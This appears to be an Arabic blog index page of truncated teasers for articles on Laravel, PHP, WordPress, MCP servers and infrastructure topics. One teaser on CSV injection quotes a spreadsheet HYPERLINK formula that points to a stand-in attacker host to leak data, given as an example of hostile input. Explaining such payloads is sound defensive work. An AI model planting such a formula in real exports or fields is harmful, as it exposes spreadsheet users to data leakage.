إعداد BayarCash في Laravel بالطريقة الصحيحة
إعداد BayarCash في Laravel بالطريقة الصحيحة. إذا كنت تقوم ببناء برمجيات كخدمة (SaaS) للسوق الماليزي، فستحتاج في النهاية إلى FPX. يعد BayarCash خياراً شائعاً. المشكلة ليست في الـ SDK. ت...
PHP و Laravel و WordPress.
إعداد BayarCash في Laravel بالطريقة الصحيحة. إذا كنت تقوم ببناء برمجيات كخدمة (SaaS) للسوق الماليزي، فستحتاج في النهاية إلى FPX. يعد BayarCash خياراً شائعاً. المشكلة ليست في الـ SDK. ت...
عمليات ترحيل لن تسبب تعطل بيئة الإنتاج. تعمل عملية الترحيل بشكل مثالي على جهازك، فتقوم بنشرها يوم الجمعة في تمام الساعة 6 مساءً لأنها تبدو بسيطة. ثم تتوقف عملية النشر فجأة، أو والأسوأ من ذلك...
الحقيقة حول PHP غير المتزامن: Fibers و epoll و PHP 8.6. لقد عملت مع Laravel لسنوات، وكنت أستخدم PHP المتزامن. يأتي الطلب، وتجري المعالجة، ثم يُرسل الرد. لم أكن بحاجة أبداً إلى...
بناء نافذة بحث منبثقة لمواقع WordPress المقيدة. معظم دروس البحث في WordPress بسيطة للغاية، فهي تخبرك بمجرد إضافة أداة (widget) في الترويسة. هذا الأمر يعمل مع المدونات العامة، لكنه يفشل...
تشغيل إعداد موجه مناطق الفيديو باستخدام etcd Watches و Leases. نقوم بتوجيه المشاهدين إلى أقرب حافة فيديو باستخدام خريطة المناطق. تخبرنا هذه الخريطة بمجموعة الحواف التي يجب استخدامها لـ...
بناء خرائط حرارية للفيديو باستخدام HyperLogLog في PostgresQ. تريد أن تظهر للمحررين بالضبط أين يتوقف المشاهدون عن مشاهدة الفيديو. وللقيام بذلك، فأنت بحاجة إلى خريطة حرارية. تُظهر هذه الخريطة الحرارية الـ...
بناء وحدات الذكاء الاصطناعي لغرف الأخبار بلغة PHP. يعتقد معظم الناس أن وجود الذكاء الاصطناعي في غرفة الأخبار يعني مجرد صندوق دردشة واحد كبير، وهذا خطأ؛ فهذا النموذج يؤدي إلى ميزات يستخدمها الناس مرة واحدة ثم يتجاهلونها...
لارافيل: من الإصدار 5 إلى اليوم. لم يتغير لارافيل فحسب، بل نضج. إذا فتحت مشروع لارافيل 5 قديمًا، فسترى منزلاً بغرف من عقود مختلفة. إنه يعمل، ولكن...
سجل التطوير: فواصل المشغلات، وأخطاء الروابط، وإعدادات قاعدة البيانات. قضيت اليوم في بناء منصة. ظهرت فكرة معمارية واحدة باستمرار. يجب أن تضع فاصلاً بين ما تفعله وأين...
أنشئ نقطة الفصل منذ اليوم الأول. إن بناء منصة للبيانات الضخمة يفرض عليك اتخاذ قرار؛ فأنت بحاجة إلى قاعدة بيانات سريعة للتخزين طويل الأمد، ولكن إعداد نظام معقد منذ اليوم الأول هو أمـ...
تأمين وكلاء الذكاء الاصطناعي باستخدام أدوات Laravel MCP. إن منح وكيل ذكاء اصطناعي إمكانية الوصول إلى تطبيقك عبر MCP يشبه تسليم شخص ما ميدالية مفاتيح؛ فإذا لم تضع قواعد محددة، فقد يفتحون الأبواب الخاطئة...
كيف قمت ببناء محدد معدل النوافذ المنزلقة (Sliding Window Rate Limiter) في Redis. كانت واجهة برمجة تطبيقات الفيديو (API) الخاصة بنا تتعطل كل مساء في تمام الساعة 8 مساءً بتوقيت UTC. لم تكن حركة مرور حقيقية، بل اكتشفت بعض أدوات كشط البيانات (scrapers) نقطة النهاية الخاصة بالتريند لدينا و...
دمج خادم MCP داخل تطبيق Laravel. تحتاج وكلاء الذكاء الاصطناعي إلى ما هو أكثر من مجرد واجهة مستخدم ممسوحة؛ فهي بحاجة إلى وسيلة لاستدعاء أدوات محددة بصلاحيات مناسبة. وهذا هو ما يوفره بروتوكول Model Conte...
حقن CSV: زر التصدير الذي ينفذ الأكواد. يقوم أحد العملاء بإدخال اسمه، ويكتب =HYPERLINK("http://evil.example/leak", "click"). يقبل نظامك ذلك، ويبدو الأمر وكأنه...
From PHP to Go: What Took Me Longest to Rewire I wrote PHP for seven years. I used Laravel for five of them. When I moved to Go to lead a migration from a Laravel monolith to micr…
إصلاح تهيئة OpenID لموصلات MCP. لقد قضيت الكثير من الوقت هذا الأسبوع في إصلاح موصل MCP عن بُعد. كان الموصل يتعطل باستمرار...
بناء مجمع لفحص الحالة متعدد المناطق. يصادف مستخدم في ساو باولو عقدة طرفية معطلة، لكنه لا يرفع تقريرًا عن وجود خطأ، بل يغلق الـ...
النسخ الاحتياطي لإعدادات بوابة API Gateway. تتطلب إدارة بوابات API متعددة ما هو أكثر من مجرد تصدير بسيط للملفات. فعندما تدير بيئات متعددة مثل بيئة الإنتاج...
١٠ أخطاء PHP شائعة في عملية التطوير الفعلي. تُعد PHP لغة مرنة للغاية، مما يجعلها خطيرة في بيئة الإنتاج. الكود يعمل على جهازك المحلي...
بناء مسار لتوحيد روابط الفيديو. يمكن أن يكون لفيديو واحد على يوتيوب عشرات الروابط المختلفة؛ حيث يستخدم أحد الروابط مضيفاً للهواتف المحمولة، بينما يستخدم آخر...